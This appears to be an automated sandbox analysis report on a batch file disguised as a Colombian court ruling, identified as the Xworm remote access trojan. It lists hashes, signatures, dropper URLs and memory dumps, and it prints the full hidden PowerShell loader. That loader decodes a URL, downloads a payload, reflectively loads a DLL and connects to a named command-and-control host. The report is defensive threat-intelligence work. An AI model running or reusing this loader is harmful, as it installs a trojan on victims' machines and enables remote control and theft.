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Analysis

  • max time kernel
    143s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2024, 16:30

General

  • Target

    FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat

  • Size

    210KB

  • MD5

    24e3c5a8c5ce37efb76a08a124a2f525

  • SHA1

    1378fa68873d9ce2368aac281632ff5dab2f59d0

  • SHA256

    233bca3f0a5f3dbc98d3765ecc8631fd552366a78f052cc13c970b94a107e459

  • SHA512

    e9ae4a7948cefe01143e5646220f9b6d1c78b34db0ec4f2220d74daf8add209d5b55f76eb2fcf2b3d995cdeee957aebb3e0f9f736cced0ddba8ba249d18bcc62

  • SSDEEP

    6144:vZuSzJTZolPPaVOZwrXQJ5RV5RFVVjRbVbJlv8:B

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

exe.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4460
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2448

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22qe2tsi.pfh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4460-2-0x00007FFFA37F3000-0x00007FFFA37F5000-memory.dmp

      Filesize

      8KB

    • memory/4460-7-0x0000022930BD0000-0x0000022930BF2000-memory.dmp

      Filesize

      136KB

    • memory/4460-13-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

      Filesize

      10.8MB

    • memory/4460-14-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

      Filesize

      10.8MB

    • memory/4460-15-0x000002294A0E0000-0x000002294A474000-memory.dmp

      Filesize

      3.6MB

    • memory/4460-16-0x00007FFFA37F3000-0x00007FFFA37F5000-memory.dmp

      Filesize

      8KB

    • memory/4460-17-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

      Filesize

      10.8MB

    • memory/4460-18-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

      Filesize

      10.8MB